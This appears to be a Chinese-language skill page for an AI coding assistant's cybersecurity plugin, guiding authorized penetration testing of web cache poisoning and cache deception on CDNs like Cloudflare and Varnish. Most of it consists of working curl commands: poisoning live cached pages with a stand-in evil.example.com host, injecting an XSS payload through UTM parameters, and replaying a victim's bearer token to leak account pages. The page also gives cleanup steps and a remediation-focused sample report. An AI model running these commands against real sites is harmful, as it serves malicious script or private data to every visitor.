Guides authorized pentesting of web cache poisoning by identifying unkeyed headers/parameters with Burp Suite Param Miner and curl against CDNs like Cloudflare, Nginx, Varnish.
How this skill is triggered — by the user, by Claude, or both
Slash command
/cybersecurity-skills-zh:performing-web-cache-poisoning-attackThe summary Claude sees in its skill listing — used to decide when to auto-load this skill
- 在授权渗透测试中,当应用程序使用 CDN 或反向代理缓存(Cloudflare、Akamai、Varnish、Nginx)时
确认正在使用的缓存基础设施以及缓存键的构造方式。
# 检查缓存相关的响应头部
curl -s -I "https://target.example.com/" | grep -iE \
"(cache-control|x-cache|cf-cache|age|vary|x-varnish|x-served-by|cdn|via)"
# 常见缓存标识:
# X-Cache: HIT / MISS
# CF-Cache-Status: HIT / MISS / DYNAMIC(Cloudflare)
# Age: 120(已缓存秒数)
# X-Varnish: 12345 67890(Varnish)
# Via: 1.1 varnish(Varnish/CDN 代理)
# 通过测试变体确定缓存键
# 缓存键通常包含:Host + Path + Query string
# 测试 1:相同 URL 发送两次请求,检查第二次是否命中缓存
curl -s -I "https://target.example.com/page?cachebuster=test1" | grep -i "x-cache"
curl -s -I "https://target.example.com/page?cachebuster=test1" | grep -i "x-cache"
# 第一次:MISS,第二次:HIT = 缓存已激活
# 测试 2:Vary 头部行为
curl -s -I "https://target.example.com/" | grep -i "vary"
# Vary: Accept-Encoding 表示 Accept-Encoding 是缓存键的一部分
使用 Burp 的 Param Miner 找出未纳入缓存键但在响应中被反射的头部和参数。
# 在 Burp Suite 中:
# 1. 从 BApp Store 安装 Param Miner
# 2. 右键点击目标请求 > Extensions > Param Miner > Guess headers
# 3. Param Miner 将测试数百个 HTTP 头部
# 4. 在 Extender > Extensions > Param Miner > Output 中查看结果
# 需手工测试的常见未纳入缓存键的头部:
# X-Forwarded-Host, X-Forwarded-Scheme, X-Forwarded-Proto
# X-Original-URL, X-Rewrite-URL
# X-Host, X-Forwarded-Server
# Origin, Referer
# X-Forwarded-For, True-Client-IP
# 手工测试未纳入缓存键的头部反射
# 添加缓存破坏参数以隔离测试
CB="cachebuster=$(date +%s)"
# 测试 X-Forwarded-Host 反射
curl -s -H "X-Forwarded-Host: evil.example.com" \
"https://target.example.com/?$CB" | grep "evil.example.com"
# 测试 X-Forwarded-Scheme
curl -s -H "X-Forwarded-Scheme: nothttps" \
"https://target.example.com/?$CB" | grep "nothttps"
# 测试 X-Original-URL(路径覆盖)
curl -s -H "X-Original-URL: /admin" \
"https://target.example.com/?$CB"
# 测试 X-Forwarded-Proto
curl -s -H "X-Forwarded-Proto: http" \
"https://target.example.com/?$CB" | grep "http://"
构造请求,将恶意内容注入缓存响应。
# 场景:X-Forwarded-Host 被反射到资源 URL 中
# 正常响应包含:<script src="https://target.example.com/app.js">
# 被毒化后:<script src="https://evil.example.com/app.js">
# 步骤 1:使用缓存破坏参数确认反射
curl -s -H "X-Forwarded-Host: evil.example.com" \
"https://target.example.com/?cb=unique123" | \
grep "evil.example.com"
# 步骤 2:毒化实际缓存页面(不带缓存破坏参数)
# 警告:此操作影响所有用户 — 仅在获得明确授权时执行
curl -s -H "X-Forwarded-Host: evil.example.com" \
"https://target.example.com/"
# 步骤 3:验证缓存是否已被毒化
curl -s "https://target.example.com/" | grep "evil.example.com"
# 若出现 evil.example.com,则缓存已被毒化
# 利用 X-Forwarded-Proto 实施 HTTP 降级攻击
curl -s -H "X-Forwarded-Proto: http" \
"https://target.example.com/?cb=unique456"
# 可能导致缓存响应包含 http:// 链接,从而实现中间人攻击
# 组合多个头部进行攻击
curl -s \
-H "X-Forwarded-Host: evil.example.com" \
-H "X-Forwarded-Proto: https" \
"https://target.example.com/?cb=unique789"
欺骗缓存将已认证响应存储为公开 URL 的内容。
# Web 缓存欺骗攻击
# 缓存基于文件扩展名(.css、.js、.jpg)进行缓存
# 若应用程序忽略路径后缀:
# 步骤 1:以受害者身份(已认证),访问:
# https://target.example.com/account/profile/nonexistent.css
# 若应用程序返回个人资料页面(忽略 .css 后缀)
# 且缓存因 .css 扩展名而存储该响应...
# 测试应用程序路径处理方式
curl -s -H "Authorization: Bearer $VICTIM_TOKEN" \
"https://target.example.com/account/profile/test.css" | \
grep -i "email\|name\|balance"
# 步骤 2:以攻击者身份(未认证),请求:
curl -s "https://target.example.com/account/profile/test.css"
# 若返回受害者的个人资料数据,则缓存欺骗攻击已确认
# 测试各种静态扩展名
for ext in css js jpg png gif ico svg woff woff2 ttf; do
echo -n ".$ext: "
curl -s -H "Authorization: Bearer $TOKEN" \
-o /dev/null -w "%{http_code} %{size_download}" \
"https://target.example.com/account/settings/x.$ext"
echo
done
# 测试路径混淆模式
# /account/settings%2f..%2fstatic/style.css
# /account/settings/..;/static/style.css
# /account/settings;.css
利用未纳入缓存键的查询参数或参数解析差异。
# 未纳入缓存键的参数(参数不在缓存键中但被反射到页面)
# 使用通常被排除在缓存键之外的 UTM 参数
curl -s "https://target.example.com/?utm_content=<script>alert(1)</script>&cb=$(date +%s)" | \
grep "alert"
# 通过解析差异实现参数隐藏
# 后端看到:callback=evil,缓存键忽略:callback
curl -s "https://target.example.com/jsonp?callback=alert(1)&cb=$(date +%s)"
# Fat GET 请求(在 GET 请求中包含请求体)
curl -s -X GET \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "param=evil_value" \
"https://target.example.com/page?cb=$(date +%s)"
# 缓存键规范化差异
# 某些缓存规范化查询字符串顺序,某些不会
curl -s "https://target.example.com/page?a=1&b=2" # 作为 key1 缓存
curl -s "https://target.example.com/page?b=2&a=1" # 相同键?还是不同键?
# 测试基于端口的缓存投毒
curl -s -H "Host: target.example.com:1234" \
"https://target.example.com/?cb=$(date +%s)" | grep "1234"
确认攻击影响并确保被毒化的缓存条目被清除。
# 验证被毒化的缓存是否对其他用户生效
# 使用不同的 IP/User-Agent/会话进行验证
curl -s -H "User-Agent: CacheVerification" \
"https://target.example.com/" | grep "evil"
# 检查缓存 TTL 以了解暴露窗口期
curl -s -I "https://target.example.com/" | grep -i "cache-control\|max-age\|s-maxage"
# max-age=3600 表示被毒化状态持续 1 小时
# 清理:强制缓存刷新
# 某些 CDN 允许通过 API 清除缓存
# Cloudflare:调用 API 清除缓存
# Varnish:使用 PURGE 方法
curl -s -X PURGE "https://target.example.com/"
# 或等待 TTL 过期
# 记录缓存投毒窗口期
# 开始时间:发送投毒请求的时刻
# 结束时间:开始时间 + max-age
# 受影响用户:在窗口期内访问缓存 URL 的所有用户
| 概念 | 定义 |
|---|---|
| 缓存键(Cache Key) | 用于标识缓存响应的请求属性集合(host、path、query) |
| 未纳入缓存键的输入(Unkeyed Input) | 未包含在缓存键中但在响应中被反射的 HTTP 头部或参数 |
| 缓存投毒(Cache Poisoning) | 向缓存响应注入恶意内容,使其被提供给其他用户 |
| 缓存欺骗(Cache Deception) | 欺骗缓存将已认证/私有响应存储为公开内容 |
| Vary 头部(Vary Header) | 指定哪些请求头部应纳入缓存键的 HTTP 头部 |
| 缓存破坏参数(Cache Buster) | 在测试期间防止影响真实缓存的唯一查询参数 |
| TTL(生存时间) | 缓存响应在刷新前保持有效的持续时间 |
| 工具 | 用途 |
|---|---|
| Burp Suite Professional | 请求拦截和缓存行为分析 |
| Param Miner(Burp 扩展) | 自动发现未纳入缓存键的 HTTP 头部和参数 |
| Web Cache Vulnerability Scanner | 自动检测缓存投毒的工具 |
| curl | 精确控制头部的手工 HTTP 请求构造 |
| Varnishlog | Varnish 缓存调试和日志分析 |
| CDN 专用工具 | Cloudflare Analytics、Akamai Pragma 头部用于缓存诊断 |
应用程序将 X-Forwarded-Host 头部反射到 script src URL 中。该头部未纳入缓存键。发送带有 X-Forwarded-Host: evil.com 的请求,毒化缓存,使所有后续访问者从攻击者服务器加载 JavaScript。
Cloudflare 缓存的应用程序忽略未知路径段。请求 /account/profile/logo.png 返回账户页面,而 Cloudflare 将其缓存为静态图片。任何未认证用户随后均可访问该缓存的账户页面。
UTM 跟踪参数被排除在缓存键之外,但在页面 HTML 中被渲染。通过 utm_content 参数注入 <script> 标签,毒化缓存,对所有访问者形成持久型 XSS。
多个应用程序位于同一 CDN 后端。操控 Host 头部使 CDN 在某应用程序的缓存键下存储另一个应用程序的响应。
## Web 缓存投毒发现
**漏洞**:通过未纳入缓存键的头部实现 Web 缓存投毒
**严重性**:High(CVSS 8.6)
**位置**:所有页面上的 X-Forwarded-Host 头部
**OWASP 类别**:A05:2021 - 安全配置错误
### 缓存配置
| 属性 | 值 |
|----------|-------|
| CDN/缓存 | Cloudflare |
| Cache-Control | max-age=3600, public |
| 未纳入缓存键的头部 | X-Forwarded-Host, X-Forwarded-Proto |
| 受影响页面 | 所有 HTML 页面(/*.html) |
### 复现步骤
1. 发送带有 X-Forwarded-Host: evil.example.com 的请求
2. 响应包含:<link href="https://evil.example.com/style.css">
3. Cloudflare 将该响应缓存 3600 秒
4. 所有后续访问者收到被毒化的响应
### 影响
- 在所有用户浏览器中执行 JavaScript(通过毒化的 script src)
- 凭证窃取、会话劫持、页面篡改
- 在 1 小时缓存窗口期内预计影响每日 50,000 名访问者
- 可持续重新投毒以维持攻击效果
### 建议
1. 通过 Vary 头部将 X-Forwarded-Host 及类似头部纳入缓存键
2. 不在响应内容中反射未纳入缓存键的头部
3. 配置缓存在转发到源服务器前剥离未知头部
4. 在应用层使用硬编码基础 URL,而非从头部派生
5. 实施缓存键规范化以防止键操控
npx claudepluginhub killvxk/cybersecurity-skills-zhExploits web cache mechanisms to poison cached responses via unkeyed headers and parameters during authorized security tests.
Guides authorized pentests for web cache poisoning by discovering unkeyed headers/parameters with Burp Suite Param Miner and testing cache keys via curl on CDNs like Cloudflare/Nginx.
Exploits CDN/reverse-proxy caches to poison responses via unkeyed headers and parameters during authorized security tests.